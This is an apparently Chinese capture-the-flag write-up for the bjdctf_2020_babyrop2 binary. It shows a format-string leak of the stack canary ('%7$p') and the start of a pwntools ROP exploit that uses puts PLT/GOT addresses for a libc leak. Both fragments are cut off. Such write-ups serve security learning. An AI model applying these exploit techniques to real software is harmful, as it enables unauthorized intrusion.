附件 目录
存在一个栈溢出,但要绕过一个canary。 “gift”:在printf处存在一个格式化字符串漏洞。能输入的限定是%6s。只能传6个字符,其中已经固定了四个“%x$p”(x是一个个位数的数字)一个个数字尝试,当x=6的时候,输出的是我们输入的部分 r.recvuntil("I'll give u some gift to help u!") payload = b'A%6$pA' r.send(payload) 所以我们的输入部分偏移是6 接下来看canary的位置: canary 输入aaaaaa 可以看到aaaaaa存在了rsp的位置,canary在rsp下面8个字节,所以canary的偏移应该是7 。也就是%7$p 同时也注...
from pwn import * p = process('bjdctf_2020_babyrop2') libcelf = ELF('/lib/x86_64-linux-gnu/libc.so.6') poprdiret = 0x0000000000400993 main = 0x00000000004008DA pltputs = 0x0000000000400610 gotputs = 0x0000000000601018 p.sendlineafter("I'll give u some gift to help u!\n","%7$p") canary = int(p.recvuntil("00")[2:],16)...